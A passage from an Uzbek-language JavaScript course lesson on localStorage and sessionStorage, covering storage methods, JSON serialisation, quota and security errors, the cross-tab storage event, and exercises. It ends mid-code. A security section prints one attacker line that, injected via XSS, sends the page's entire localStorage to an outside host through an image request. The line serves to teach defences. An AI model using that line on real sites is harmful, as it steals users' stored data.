IlmHamroh
JavaScript Full-stack/11-qism. Asinxron JavaScript va tarmoq26/32-dars23 daqiqa
Mundarija (38)

localStorage va sessionStorage: brauzerda ma'lumot saqlash

Qisqacha: localStorage — brauzerdagi kichik "daftar": localStorage.setItem("tema", "qorongi") bilan yozasiz, getItem("tema") bilan o'qiysiz, yozuv sahifa va brauzer yopilsa ham qoladi. sessionStorage xuddi shunday ishlaydi, lekin faqat shu tab yopilguncha yashaydi. Ikkalasi ham faqat satr saqlaydi (obyekt — JSON.stringify bilan), har origin uchun taxminan 5 MB joy beradi va maxfiy ma'lumot uchun emas.

Bu darsda

  • setItem, getItem, removeItem, clear, key va length bilan brauzerda ma'lumot yozasiz, o'qiysiz va o'chirasiz.
  • Massiv va obyektni JSON orqali saqlaysiz va buzilgan yozuvdan himoyalanasiz.
  • localStorage va sessionStorage farqini — qayerda va qancha yashashini — tushuntira olasiz.
  • Kvota to'lganda yoki xotira yopiq bo'lganda ilova yiqilmasligi uchun try/catch yozasiz.
  • Boshqa tabdagi o'zgarishni storage hodisasi bilan sezasiz.
  • vazifalar ilovasi sahifa yangilansa ham ro'yxatni yo'qotmaydigan bo'ladi.

Oldin bilishingiz kerak: Brauzer xotirasi va xavfsizlik modeli, JSON asoslari, try / catch / finally, fetch asoslari.

1. Nega bu kerak?

10-qism oxirida vazifalar v2 tayyor bo'ldi: klasslar, modullar, eksport va import. Lekin bitta katta kamchiligi bor. Sahifani yangilasangiz (F5), qo'shgan hamma vazifangiz yo'qoladi va ro'yxat boshlang'ich uchtaga qaytadi.

Sabab oddiy: JavaScript o'zgaruvchilari sahifa bilan birga yashaydi. Sahifa yangilansa — xotira tozalanadi, kod boshidan ishlaydi. Ma'lumot sahifadan uzoqroq yashashi uchun uni brauzerning o'z omboriga yozish kerak.

Kursda bunday va'dalar ko'p yig'ilgan:

  • Qorong'i rejim darsida tema.js faylini "11-qismda o'qiy olasiz" deb ko'chirgan edingiz — u localStorage dan tanlangan temani o'qiydi.
  • Sahifa hayot sikli darsida bron formasining qoralamasini hidden holatida saqlash kerak edi.
  • Brauzer xotirasi darsida "ro'yxatni JSON'siz saqlash — xato, kodini keyin yozamiz" degan edik.

Bugun uchalasini ham yopamiz. Brauzer xotirasi darsidagi o'xshatishni eslang: localStorage — uydagi shkaf, narsa siz olib tashlamaguningizcha turadi. sessionStorage — stol ustidagi qog'oz, xonadan chiqsangiz tozalanadi.

2. Web Storage: birinchi yozuv

2.1 Yozish va o'qish

Web Storage — brauzerning "kalit — qiymat" ombori. Unga ikki obyekt orqali kirasiz: localStorage va sessionStorage. Ikkalasi ham global — window ning xususiyati, import qilish shart emas.

Eng ko'p ishlatiladigan ikki metod:

  • setItem(kalit, qiymat) — kalit ostiga qiymat yozadi. Kalit bor bo'lsa — ustidan yozadi.
  • getItem(kalit) — qiymatni qaytaradi. Bunday kalit bo'lmasa — null.

Quyidagi sahifa necha marta ochilganingizni sanaydi. Ishga tushiring, keyin «Qayta ishga tushirish» ni bir necha marta bosing:

html
<p id="xabar"></p>
<script>
  const oldingi = localStorage.getItem("tashriflar");
  console.log("O'qildi:", oldingi);
  const soni = Number(oldingi) + 1;
  localStorage.setItem("tashriflar", soni);
  const xabar = document.getElementById("xabar");
  xabar.textContent = `Siz bu sahifani ${soni}-marta ochyapsiz`;
  console.log(localStorage);
</script>

Konsolda (birinchi marta):

text
O'qildi: null
Storage {tashriflar: '1', length: 1}

Ikkinchi ishga tushirishda konsolda O'qildi: 1 va Storage {tashriflar: '2', length: 1} chiqadi, sahifada esa "2-marta". O'zgaruvchilar har safar noldan boshlanadi, lekin localStorage dagi yozuv joyida qoldi.

Kodni qatorma-qator ko'ramiz:

  1. Birinchi ochilishda tashriflar kaliti yo'q — getItem null qaytardi.
  2. Number(null) — 0. Shuning uchun soni birinchi safar 1 bo'ldi.
  3. setItem soni yozdi. Konsoldagi '1' qo'shtirnoqda — buni keyingi bo'limda ochamiz.
  4. console.log(localStorage) omborning hammasini ko'rsatdi: kalitlar va length (yozuvlar soni).

Maslahat: Natija oynasi xavfsizlik uchun alohida "qutida" ishlaydi va brauzerning haqiqiy xotirasiga kira olmaydi. Shuning uchun sayt unga xuddi shunday ishlaydigan o'rinbosar beradi: «Qayta ishga tushirish» yoki sahifani yangilash — "qayta yuklash" kabi, «Xotirani tozalash» tugmasi esa hammasini o'chiradi. Haqiqiy saytingizda — brauzerning o'z xotirasi.

2.2 O'chirish va sanash

Yana to'rtta a'zo bor:

A'zo Nima qiladi
removeItem(kalit) Bitta yozuvni o'chiradi (yo'q bo'lsa — jim o'tadi)
clear() Shu origin'ning hamma yozuvini o'chiradi
length Yozuvlar soni
key(n) n-yozuvning kalitini qaytaradi

key(n) bilan hamma yozuvni aylanib chiqish mumkin. Lekin kalitlar tartibi kafolatlanmaydi: Chrome ularni o'z ichki tartibida beradi, qo'shilish tartibida emas. Tartib muhim bo'lsa — ro'yxatni bitta kalitda massiv qilib saqlang (keyingi bo'limda).

Diqqat: clear() faqat sizning kalitlaringizni emas, shu origin'dagi hamma kodning yozuvlarini o'chiradi. Bitta saytda bir nechta ilova ishlasa (masalan login.github.io dagi portfolio va vazifalar), clear() qo'shnining ma'lumotini ham yo'q qiladi. O'zingizniki uchun — removeItem.

2.3 Xususiyat sintaksisi — nega ishlatmaymiz

localStorage.tema = "qorongi" ham ishlaydi, localStorage.tema bilan o'qish ham. Lekin bu yo'l tuzoqli. Kalit nomi metod nomiga to'g'ri kelsa, nima bo'lishini ko'ring:

js
localStorage.setItem("key", "a1");
console.log(localStorage.getItem("key")); // a1
console.log(typeof localStorage.key); // function
localStorage.length = 99;
console.log(localStorage.length); // 1

localStorage.key — baribir metod, yozuv emas. length ga yozish esa jim e'tiborsiz qoldirildi. Har doim setItem/getItem ishlating — ular har qanday kalit bilan bir xil ishlaydi.

Tekshirib ko'ring: localStorage.getItem("ism") null qaytardi. Bu "ism kaliti yo'q" degani, yoki "qiymati bo'sh satr" degani ham bo'lishi mumkinmi?

Javob

Faqat "kalit yo'q". Bo'sh satr yozilgan bo'lsa, getItem "" qaytaradi — bu null emas. Shuning uchun "yozuv bormi?" savoliga getItem(...) === null bilan javob beriladi.

3. Faqat satr

3.1 Son, massiv va obyekt nima bo'ladi

Web Storage faqat satr saqlaydi. Boshqa turdagi qiymatni bersangiz, u String(...) bilan satrga aylantiriladi. Bu nimaga olib kelishini ko'ring:

html
<script>
  localStorage.setItem("narx", 35000);
  localStorage.setItem("bormi", true);
  localStorage.setItem("taomlar", ["osh", "manti"]);
  localStorage.setItem("buyurtma", { taom: "osh", soni: 2 });
  console.log(typeof localStorage.getItem("narx"));
  console.log(localStorage.getItem("narx") + 5000);
  console.log(localStorage.getItem("taomlar"));
  console.log(localStorage.getItem("buyurtma"));
  console.log(localStorage.getItem("yoq"));
  localStorage.removeItem("bormi");
  console.log(localStorage.length);
  localStorage.clear();
  console.log(localStorage);
</script>

Konsolda:

text
string
350005000
osh,manti
[object Object]
null
3
Storage {length: 0}

Uchta tuzoq birdaniga:

  • Son satrga aylandi. "35000" + 5000 — qo'shish emas, satrlarni yopishtirish: 350005000. O'qigandan keyin Number(...) kerak.
  • Massiv vergulli matnga aylandi. "osh,manti" — bu endi massiv emas. Taom nomida vergul bo'lsa, ajratib ham bo'lmaydi.
  • Obyekt butunlay yo'qoldi. [object Object] — asl ma'lumotdan hech narsa qolmadi. Brauzer xotirasi darsida Application panelida aynan shu yozuvni ko'rgan edik.

3.2 JSON bilan saqlash

Yechim — JSON asoslari darsidagi juftlik: yozishdan oldin JSON.stringify, o'qigandan keyin JSON.parse. JSON — satr, demak Web Storage uni qabul qiladi va tuzilma saqlanadi:

html
<script>
  const savat = [
    { taom: "Osh", narx: 35000, soni: 2 },
    { taom: "Ko'k choy", narx: 5000, soni: 1 },
  ];
  localStorage.setItem("savat", JSON.stringify(savat));

  const matn = localStorage.getItem("savat");
  console.log(matn);
  const qaytgan = JSON.parse(matn);
  const jami = qaytgan.reduce((s, q) => s + q.narx * q.soni, 0);
  console.log(qaytgan.length, jami);
</script>

Konsolda:

text
[{"taom":"Osh","narx":35000,"soni":2},{"taom":"Ko'k choy","narx":5000,"soni":1}]
2 75000

Son son bo'lib qaytdi, massiv — massiv. Bitta kalit ostida butun ro'yxat turibdi va uning tartibi aniq.

3.3 Ikki yordamchi funksiya

Har safar stringify/parse yozish — takror. Bundan tashqari, JSON.parse buzilgan matnda xato tashlaydi. Yozuvni kim buzishi mumkin? Foydalanuvchi DevTools'da qo'lda tahrirlagan bo'lishi mumkin. Yoki ilovaning eski versiyasi boshqa formatda yozgan. Shuning uchun o'qish funksiyasi xatoni o'zi ushlaydi:

html
<script>
  function jsonYoz(kalit, qiymat) {
    localStorage.setItem(kalit, JSON.stringify(qiymat));
  }

  function jsonOqi(kalit, standart) {
    const matn = localStorage.getItem(kalit);
    if (matn === null) {
      return standart;
    }
    try {
      return JSON.parse(matn);
    } catch {
      console.warn(`«${kalit}» buzuq — standart qiymat olindi`);
      return standart;
    }
  }

  console.log(jsonOqi("sozlama", { til: "uz" }));
  jsonYoz("sozlama", { til: "ru", ovoz: true });
  console.log(jsonOqi("sozlama", { til: "uz" }));
  localStorage.setItem("sozlama", "{til: ru");
  console.log(jsonOqi("sozlama", { til: "uz" }));
</script>

Konsolda:

text
{til: 'uz'}
{til: 'ru', ovoz: true}
«sozlama» buzuq — standart qiymat olindi
{til: 'uz'}

Uch holat — uch xil xulq. Yozuv yo'q — standart qiymat. Yozuv to'g'ri — o'qilgan qiymat. Yozuv buzuq — ogohlantirish va standart qiymat, sahifa esa yiqilmadi.

Nega catch dan keyin (xato) yo'q? Xato obyekti bizga kerak emas — faqat "buzildi" degan fakt muhim. catch { ... } — try / catch / finally darsida ko'rgan qisqa shakl.

3.4 JSON ham hamma narsani saqlamaydi

JSON — faqat oddiy ma'lumot: satr, son, true/false, null, massiv va oddiy obyekt. Qolganlari yo'l-yo'lakay o'zgaradi (JSON chuqur):

Qiymat JSON.stringify dan keyin O'qiganda
new Date() "2026-10-05T09:00:00.000Z" satr, Date emas
new Map([["a", 1]]) {} bo'sh obyekt — ma'lumot yo'qoldi
new Set([1, 2]) {} bo'sh obyekt
funksiya, undefined tushib qoladi yo'q
klass nusxasi toJSON yoki ochiq maydonlar oddiy obyekt, metodlarsiz

Oxirgi qator vazifalar uchun muhim. Vazifa nusxasini saqlab, qayta o'qisangiz, almashtir() metodi bo'lmaydi — faqat {id, matn, bajarildi}. Shuning uchun 10-qismda toJSON va Vazifa.dan yozgan edik: biri saqlashga tayyorlaydi, ikkinchisi o'qilgan oddiy obyektdan yana nusxa yasaydi.

Tekshirib ko'ring: localStorage.setItem("soni", 0) yozildi. if (localStorage.getItem("soni")) { ... } ichidagi kod bajariladimi?

Javob

Ha, bajariladi. getItem son emas, satr qaytaradi: "0". Bo'sh bo'lmagan har qanday satr truthy — hatto "0" va "false" ham. To'g'ri tekshiruv: Number(localStorage.getItem("soni")) > 0 yoki "yozuv bormi" uchun !== null.

4. localStorage va sessionStorage farqi

4.1 Qancha yashaydi va kim ko'radi

Ikki obyektning metodlari bir xil. Farq — ma'lumot qancha yashashi va kim ko'rishida:

localStorage sessionStorage
Qancha yashaydi O'chirilmaguncha (brauzer yopilsa ham) Shu tab yopilguncha
Sahifani yangilash (F5) Qoladi Qoladi
Shu saytning boshqa tabi Ko'radi (umumiy) Ko'rmaydi (har tabda o'zi)
Ajratish Origin bo'yicha Origin + tab bo'yicha

Ikkalasi ham origin bo'yicha ajratilgan (Origin): sxema, host va port bir xil bo'lsagina bitta ombor. Bu Live Server bilan ishlaganda kutilmagan tuzoq beradi. http://127.0.0.1:5500 va http://localhost:5500 — ikki xil origin, demak ikki xil ombor. Bir manzilda saqlagan ma'lumotingiz ikkinchisida ko'rinmaydi.

sessionStorage dagi bitta nozik joy: Chrome'da tabni "Dublikat" (Duplicate) qilsangiz, yangi tab eski tabning sessionStorage idan nusxa oladi. Shundan keyin ular mustaqil — biridagi o'zgarish ikkinchisiga o'tmaydi.

4.2 Qaysi birini tanlash

Savol beradigan bitta qoida: "Foydalanuvchi ertaga qaytsa, shu ma'lumot kerakmi?"

  • Ha → localStorage: tema, til, vazifalar ro'yxati, "bu oynani boshqa ko'rsatma" belgisi.
  • Yo'q, faqat shu tashrif davomida → sessionStorage: ko'p qadamli formaning yarim to'ldirilgan qadamlari, sahifadagi ochiq bo'lim, "qaysi tabdan keldim" belgisi.

Bron formasining qoralamasi — yaxshi misol. Dilshod aka formani to'ldirayotganda tasodifan sahifani yangilasa, yozganlari qolishi kerak. Lekin ertaga ikkinchi kompyuterdan kirgan boshqa odam kechagi qoralamani ko'rmasligi kerak. Bu — sessionStorage ning ishi (2-mashq).

5. Chegaralar va xatolar

5.1 Kvota: taxminan 5 MB

Har origin uchun joy cheklangan. Chrome 154 da o'lchadik: kalit va qiymatlarning umumiy uzunligi 5 242 880 belgigacha. Bu taxminan 5 million harf — yuz minglab vazifaga yetadi, lekin rasm yoki video uchun juda kam. Firefox va Safari'da ham chegara taxminan shuncha.

Joy tugasa, setItem xato tashlaydi:

html
<script>
  try {
    localStorage.setItem("katta", "x".repeat(6_000_000));
  } catch (xato) {
    console.log(xato.name);
    console.log(xato.message);
  }
  console.log(localStorage.getItem("katta"));
</script>

Konsolda:

text
QuotaExceededError
Failed to execute 'setItem' on 'Storage': Setting the value of 'katta' exceeded the quota.
null

Tarjimasi: "Storage da setItem bajarilmadi: 'katta' qiymatini yozish kvotadan oshdi." Yozuv umuman qo'shilmadi — getItem null. Xato nomi — QuotaExceededError ("kvota oshdi xatosi").

Bu xato kutilmaganda ham chiqishi mumkin: siz 1 KB yozyapsiz, lekin shu origin'dagi boshqa kod omborni allaqachon to'ldirib qo'ygan. Shuning uchun setItem har doim try ichida bo'lgani ma'qul.

5.2 Xotira yopiq bo'lishi mumkin

Ba'zan localStorage ga umuman kirib bo'lmaydi. Masalan, foydalanuvchi brauzer sozlamalarida "barcha cookie va sayt ma'lumotlarini bloklash" ni yoqqan bo'lsa. Yoki sahifa sandbox'li iframe ichida ochilgan bo'lsa — xuddi bizning natija oynamiz kabi. Bunda getItem emas, localStorage so'zining o'zi xato tashlaydi. Chrome 154 da sandbox'li iframe'da olingan haqiqiy xabar:

text
SecurityError: Failed to read the 'localStorage' property from 'Window': The document is sandboxed and lacks the 'allow-same-origin' flag.

Tarjimasi: "Xavfsizlik xatosi: Window ning localStorage xususiyatini o'qib bo'lmadi: hujjat sandbox'da va unda allow-same-origin ruxsati yo'q." Cookie'lar bloklangan brauzerda matn boshqacha bo'ladi, lekin nomi bir xil — SecurityError.

Maxfiy rejim (inkognito) haqida: zamonaviy brauzerlarda u yerda localStorage ishlaydi. Faqat maxfiy oynalar yopilganda hammasi o'chadi. Eski Safari (10-versiya va undan eski) maxfiy rejimda har setItem da QuotaExceededError tashlardi — eski kodlarda shu sababli yozilgan try larni uchratasiz.

Xulosa bitta: Web Storage — bo'lishi mumkin, lekin kafolatlanmagan imkoniyat. Undagi xato ilovani yiqitmasin — u holda ilova shunchaki "saqlamasdan" ishlashda davom etadi. Qorong'i rejim darsidagi tema.js aynan shunday yozilgan edi:

js
try {
  const tema = localStorage.getItem("tema");
  if (tema === "yorug" || tema === "qorongi") {
    document.documentElement.dataset.tema = tema;
  }
} catch {
  // localStorage yopiq bo'lsa — tizim rejimi qoladi
}

Endi har qatorini o'qiy olasiz: getItem ham try ichida, chunki localStorage ga murojaatning o'zi xato tashlashi mumkin. Qiymat oq ro'yxat bilan tekshiriladi — DevTools'da qo'lda yozilgan "qizil" sahifani buzmaydi.

5.3 Sinxron — demak sekin bo'lishi mumkin

localStorage ning hamma metodlari sinxron: setItem qaytguncha JavaScript kutadi (Sinxron va asinxron kod). Kichik yozuvda bu sezilmaydi. Lekin har bosishda megabaytlik JSON'ni stringify qilib yozish sahifaning yagona thread'ini bloklaydi va interfeys "qotadi".

Qoida: Web Storage — kichik ma'lumot uchun (sozlamalar, kichik ro'yxatlar). Katta yoki ko'p ma'lumot — asinxron ishlaydigan IndexedDB ga, uni ikki dars keyin o'rganamiz.

Tekshirib ko'ring: Sardor shunday yozdi: const tema = localStorage.getItem("tema") ?? "tizim";. Foydalanuvchining brauzerida sayt ma'lumotlari bloklangan. Nima bo'ladi?

Javob

Sahifa skripti SecurityError bilan to'xtaydi. ?? faqat null yoki undefined qiymatni almashtiradi, xatoni esa ushlamaydi — xato localStorage ga murojaat paytidayoq chiqadi. To'g'risi — try { ... } catch { ... } ichida o'qish va catch da "tizim" ni olish.

6. storage hodisasi: boshqa tab o'zgartirdi

6.1 Qachon keladi

localStorage umumiy: bir tabda yozilgan narsa shu saytning boshqa tabida ham ko'rinadi. Lekin boshqa tab buni qanday biladi? U har soniyada getItem qilib turmaydi-ku.

Buning uchun storage hodisasi bor. Bir tab localStorage ni o'zgartirsa, brauzer shu origin'ning boshqa hamma tablariga window da storage hodisasini yuboradi. Sxemada uchta tab: 1-tab yozadi, 2- va 3-tab xabar oladi, 1-tabning o'ziga esa hech narsa kelmaydi:

sequenceDiagram
  participant A as 1-tab
  participant L as localStorage
  participant B as 2-tab
  participant C as 3-tab
  A->>L: setItem("tema", "qorongi")
  L-->>B: storage hodisasi
  L-->>C: storage hodisasi
  Note over A: 1-tabga hodisa kelmaydi

Tinglovchi oddiy addEventListener bilan qo'yiladi:

js
addEventListener("storage", (event) => {
  console.log("storage:", event.key, event.oldValue, event.newValue);
  console.log("url:", event.url);
  console.log(event.storageArea === localStorage);
});

Hodisa obyektida:

  • key — o'zgargan kalit (clear() bo'lsa — null).
  • oldValue va newValue — eski va yangi qiymat (yangi yozuvda oldValue — null, o'chirishda newValue — null).
  • url — o'zgartirgan sahifaning manzili.
  • storageArea — qaysi ombor o'zgardi.

6.2 Live Server bilan sinab ko'ring

Bu hodisani natija oynasida ko'rsatib bo'lmaydi — u bitta oyna, tab emas. Kompyuteringizda sinang:

  1. VS Code'da yangi papka, ichida index.html: yuqoridagi kod <script> ichida.
  2. Live Server bilan oching va manzilni ikkinchi tabda ham oching.
  3. Ikkala tabda DevTools konsolini oching (F12).
  4. Birinchi tab konsolida yozing: localStorage.setItem("tema", "qorongi").

Ikkinchi tab konsolida shu chiqadi (Chrome 154 da tekshirildi):

text
storage: tema null qorongi
url: http://127.0.0.1:5500/
true

Birinchi tabda esa — hech narsa. Hodisa o'zgartirgan tabning o'ziga kelmaydi. Bu ataylab shunday: o'zgartirgan kod nima qilganini o'zi biladi.

Yana uchta kuzatish (shu sinovdan):

  • Xuddi shu qiymatni qayta yozsangiz ("qorongi" ustiga "qorongi"), hodisa kelmaydi — o'zgarish yo'q.
  • removeItem("tema") dan keyin newValue — null.
  • clear() dan keyin key, oldValue va newValue — uchalasi null.

Real misol: foydalanuvchi bir tabda temani qorong'iga o'tkazdi — boshqa tablar ham darhol qorong'i bo'ladi (3-mashqda yozasiz). Tablar orasidagi to'liq aloqa — BroadcastChannel va boshqa usullar — Oyna va tablar orasida aloqa darsida.

7. DevTools'da ko'rish

Chrome DevTools → Application paneli → chapda Storage → Local storage va Session storage. Ichida origin'lar ro'yxati, tanlasangiz — kalit va qiymatlar jadvali.

Bu yerda qo'lda:

  • qiymatni ikki marta bosib tahrirlash (buzilgan JSON bilan sinash uchun qulay);
  • yozuvni tanlab Delete bilan o'chirish;
  • hammasini tozalash (yuqoridagi ⊘ tugmasi) mumkin.

Firefox'da xuddi shu narsa Storage panelida, Safari'da — Storage yorlig'ida.

Hujumchi nigohi

Hujum: saytda bitta XSS zaifligi bor — masalan, izoh matni innerHTML bilan chiqariladi (Kontentni o'zgartirish va XSS xavfi). Hujumchi izohga skript yashiradi. Bu skript sizning sahifangizda, sizning origin'ingiz nomidan ishlaydi. U bitta qatorda butun omborni o'z serveriga yuboradi:

js
// ❌ hujumchi kodi — sahifaga XSS orqali tushgan
new Image().src = "https://example.com/olish?d=" +
  encodeURIComponent(JSON.stringify(localStorage));

Web Storage'da hech qanday himoya yo'q: sahifadagi har qanday skript — o'zingizniki ham, reklama skripti ham, hujumchiniki ham — hammasini o'qiydi.

Himoya:

  • Maxfiy narsani saqlamang. Parol, karta raqami, pasport ma'lumoti — hech qachon. Kirish tokeni ham localStorage uchun yaxshi joy emas: uni HttpOnly cookie'da saqlash afzal — JavaScript uni umuman ko'rmaydi (Cookie'lar JS'dan).
  • O'qilgan qiymatga ishonmang. Uni DevTools'da yoki hujumchi skripti o'zgartirgan bo'lishi mumkin. tema.js dagi oq ro'yxat va vazifalar dagi paketniOqi tekshiruvi — shu uchun.
  • innerHTML ga qo'ymang. Saqlangan matnni sahifaga faqat textContent bilan chiqaring — aks holda bitta buzilgan yozuv har ochilishda XSS'ni qayta ishga tushiradi.

8. Ko'p uchraydigan xatolar

8.1 Obyektni to'g'ridan-to'g'ri saqlash

setItem("savat", savat) — Application panelida [object Object] yoki osh,manti. Tuzatish: JSON.stringify bilan yozing, JSON.parse bilan o'qing.

8.2 JSON.parse ni himoyasiz chaqirish

Buzilgan yozuvda JSON.parse SyntaxError tashlaydi va ilova ishga tushmay qoladi — foydalanuvchi omborni o'zi tozalamaguncha. Tuzatish: jsonOqi kabi try/catch li o'qish funksiyasi.

8.3 getItem natijasini son yoki mantiqiy qiymat deb o'ylash

getItem("bormi") === true hech qachon bajarilmaydi — qiymat "true" satri. Tuzatish: === "true" bilan solishtiring yoki qiymatni JSON qilib saqlang.

8.4 || bilan standart qiymat

JSON.parse(matn) || boshlangich — saqlangan ro'yxat bo'sh bo'lsa ([]), u truthy, muammo yo'q. Lekin saqlangan son 0 yoki satr "" bo'lsa, || ularni "yo'q" deb tashlab yuboradi. Tuzatish: "yozuv yo'q" holatini null bilan tekshiring va ?? ishlating.

8.5 Origin'ni chalkashtirish

"Kecha saqlagan edim, bugun yo'q!" — kecha localhost:5500, bugun 127.0.0.1:5500 da ochilgan. Yoki port o'zgargan. Tuzatish: Application panelida origin nomiga qarang.

8.6 Kalitlarga nom maydoni bermaslik

setItem("royxat", ...) — portfolio ham, vazifalar ham bitta login.github.io origin'ida. Ikkalasi bir xil kalitga yozsa, bir-birining ma'lumotini buzadi. Tuzatish: kalitga ilova nomi va versiyasini qo'shing: "vazifalar:v3".

9. Mashqlar

1-mashq (oson): Tanlangan temani eslab qolish

classList va stillarni JS'dan boshqarish darsida temaniQoy(tema) funksiyasini yozgan edingiz va "tanlovni saqlashni 11-qismda qo'shamiz" degan edik. Quyidagi sahifada uchta radio tugma bor. Tanlov localStorage ning "tema" kalitida saqlansin, sahifa qayta ochilganda esa o'sha radio belgilangan bo'lsin. Sinash: tanlang → «Qayta ishga tushirish».

Ishora: tanlovni change hodisasida (input va change) yozing; o'qishda qiymatni ["tizim", "yorug", "qorongi"] ro'yxati bilan tekshiring; ikkalasi ham try ichida.

Yechim
html
<style>
  body { font: 1rem/1.5 system-ui, sans-serif; margin: 1rem; }
  [data-tema="qorongi"] body { background: #1b1f1b; color: #eee; }
</style>
<fieldset>
  <legend>Mavzu</legend>
  <label>
    <input type="radio" name="tema" value="tizim"> Tizim
  </label>
  <label>
    <input type="radio" name="tema" value="yorug"> Yorug'
  </label>
  <label>
    <input type="radio" name="tema" value="qorongi"> Qorong'i
  </label>
</fieldset>
<script>
  const TEMALAR = ["tizim", "yorug", "qorongi"];

  function temaniQoy(tema) {
    const html = document.documentElement;
    if (tema === "tizim") {
      delete html.dataset.tema;
    } else {
      html.dataset.tema = tema;
    }
  }

  function saqlanganTema() {
    try {
      const tema = localStorage.getItem("tema");
      return TEMALAR.includes(tema) ? tema : "tizim";
    } catch {
      return "tizim";
    }
  }

  const boshida = saqlanganTema();
  temaniQoy(boshida);
  document.querySelector(`[value="${boshida}"]`).checked = true;
  console.log("Saqlangan tema:", boshida);

  const guruh = document.querySelector("fieldset");
  guruh.addEventListener("change", (event) => {
    const tema = event.target.value;
    temaniQoy(tema);
    try {
      localStorage.setItem("tema", tema);
    } catch {
      console.warn("Tema saqlanmadi");
    }
  });
</script>

Konsolda:

text
Saqlangan tema: tizim

"Qorong'i" ni tanlab, qayta ishga tushirsangiz — konsolda Saqlangan tema: qorongi, fon esa darhol to'q. querySelector ichidagi boshida — faqat oq ro'yxatdagi uch so'zdan biri, shuning uchun selektor xavfsiz. Tinglovchi bitta — fieldset da: radio'larning change hodisasi unga ko'tariladi (Event delegation).

2-mashq (o'rta): Bron formasining qoralamasi

Formada ikki maydon: ism va mehmonlar soni. Har yozilgan harfda (input hodisasi) ikkala qiymat bitta JSON obyekt bo'lib sessionStorage ning "bron:qoralama" kalitiga yozilsin. Sahifa ochilganda qoralama bo'lsa — maydonlarga qaytsin va konsolga Qoralama tiklandi chiqsin. Forma yuborilganda qoralama o'chirilsin. Nega bu yerda sessionStorage? Javobni ham yozing.

Ishora: formaning hamma maydonini bitta tinglovchi bilan ushlang (form dagi input hodisasi); qiymatlarni FormData bilan oling (FormData) — Object.fromEntries(new FormData(forma)) oddiy obyekt beradi.

Yechim
html
<form id="bron">
  <label>Ism <input name="ism"></label>
  <label>Mehmonlar <input name="soni" type="number"></label>
  <button>Bron qilish</button>
</form>
<script>
  const KALIT = "bron:qoralama";
  const forma = document.getElementById("bron");

  function qoralamaniOl() {
    try {
      return JSON.parse(sessionStorage.getItem(KALIT));
    } catch {
      return null;
    }
  }

  const qoralama = qoralamaniOl();
  if (qoralama !== null) {
    forma.elements.ism.value = qoralama.ism ?? "";
    forma.elements.soni.value = qoralama.soni ?? "";
    console.log("Qoralama tiklandi");
  } else {
    console.log("Qoralama yo'q");
  }

  forma.addEventListener("input", () => {
    const malumot = Object.fromEntries(new FormData(forma));
    try {
      sessionStorage.setItem(KALIT, JSON.stringify(malumot));
    } catch {
      // saqlanmasa — forma baribir ishlayveradi
    }
  });

  forma.addEventListener("submit", () => {
    sessionStorage.removeItem(KALIT);
  });
</script>

Konsolda:

text
Qoralama yo'q

Ism yozib, «Qayta ishga tushirish» ni bossangiz — ism joyida, konsolda Qoralama tiklandi. «Bron qilish» dan keyin qayta ishga tushirsangiz — yana Qoralama yo'q.

JSON.parse(null) — null qaytaradi (null satrga aylanib "null" bo'ladi, bu esa to'g'ri JSON). Shuning uchun "yozuv yo'q" holati alohida if siz ham to'g'ri ishladi.

Nega sessionStorage: qoralama faqat shu tashrif uchun kerak. Dilshod aka sahifani tasodifan yangilasa — ma'lumoti qoladi. Lekin tabni yopib ketsa, keyingi odam (umumiy kompyuterda) uning ismini ko'rmaydi. Haqiqiy loyihada Sahifa hayot sikli darsidagi kabi visibilitychange da ham saqlash mumkin — har harfda yozish kichik formada muammo emas.

3-mashq (qiyin): Hamma tablarda bir xil tema

1-mashqdagi sahifani Live Server'da ikki tabda oching. Bir tabda temani o'zgartirsangiz, ikkinchisida ham darhol o'zgarsin — qayta yuklamasdan, radio tugmasi ham. Ishora: storage hodisasi faqat boshqa tablarga keladi; event.key ni tekshiring va event.newValue ni oq ro'yxat bilan tekshirishni unutmang.

Yechim

1-mashq kodining oxiriga qo'shing:

js
addEventListener("storage", (event) => {
  if (event.key !== "tema" && event.key !== null) {
    return;
  }
  const tema = TEMALAR.includes(event.newValue)
    ? event.newValue
    : "tizim";
  temaniQoy(tema);
  document.querySelector(`[value="${tema}"]`).checked = true;
});

event.key === null — boshqa tabda clear() chaqirilgan: temani "tizim" ga qaytaramiz. removeItem("tema") bo'lsa ham newValue — null, oq ro'yxatdan o'tmaydi va yana "tizim". Bu tab o'zi yozganda hodisa olmaydi — o'zgarishni change tinglovchisi allaqachon qo'llagan.

Kodni kurs/mashqlar/11/26-tema/index.html ga saqlang va commit qiling:

bash
git add 11/26-tema/index.html
git commit -m "11/26: tema localStorage va storage hodisasi bilan"

4-mashq: Vazifalar qadami — ro'yxat saqlanadi

vazifalar v2 sahifa yangilanganda hamma o'zgarishni yo'qotadi. Endi ro'yxat brauzer xotirasida yashaydi.

  1. Yangi branch: git switch -c feature/saqlash.
  2. Yangi modul assets/js/saqlash.js:
    • export const SAQLASH_KALITI = "vazifalar:v3";
    • saqla(royxat) — ro'yxatni eksportMatni bilan JSON qilib yozadi; muvaffaqiyatli bo'lsa true, xato bo'lsa console.warn va false.
    • yukla() — saqlangan matnni paketniOqi bilan o'qiydi va tekshirilgan ma'lumotlar massivini qaytaradi. Yozuv yo'q, ombor yopiq yoki matn buzuq bo'lsa — null (buzuq bo'lsa console.warn bilan).
  3. holat.js — boshlang'ich ro'yxat: saqlangan bo'lsa o'shani, bo'lmasa boshlangichVazifalar.
  4. asosiy.js — ro'yxat har o'zgarganda (obuna orqali) avval saqlansin, keyin chizilsin. Import ham saqlansin.
  5. index.html — saqlash.js uchun modulepreload qo'shing, pastdagi "v2: … saqlash 11-qismda" yozuvini yangilang.

Ishora: paketniOqi buzuq yoki noto'g'ri matnda VazifaXatosi tashlaydi va kerakli hamma tekshiruvni allaqachon qiladi — uni qayta yozmang. Saqlangan bo'sh ro'yxat ([]) — foydalanuvchi hammasini o'chirgan; uni boshlangichVazifalar bilan almashtirmang (??, || emas).

Yechim

assets/js/saqlash.js:

js
// saqlash.js — vazifalarni brauzer xotirasida saqlash va o'qish
import { eksportMatni, paketniOqi } from "./paket.js";

export const SAQLASH_KALITI = "vazifalar:v3";

export function saqla(royxat) {
  try {
    localStorage.setItem(SAQLASH_KALITI, eksportMatni(royxat));
    return true;
  } catch (xato) {
    console.warn(`Vazifalar saqlanmadi: ${xato.name}`);
    return false;
  }
}

export function yukla() {
  let matn;
  try {
    matn = localStorage.getItem(SAQLASH_KALITI);
  } catch (xato) {
    console.warn(`Xotirani o'qib bo'lmadi: ${xato.name}`);
    return null;
  }
  if (matn === null) {
    return null;
  }
  try {
    return paketniOqi(matn);
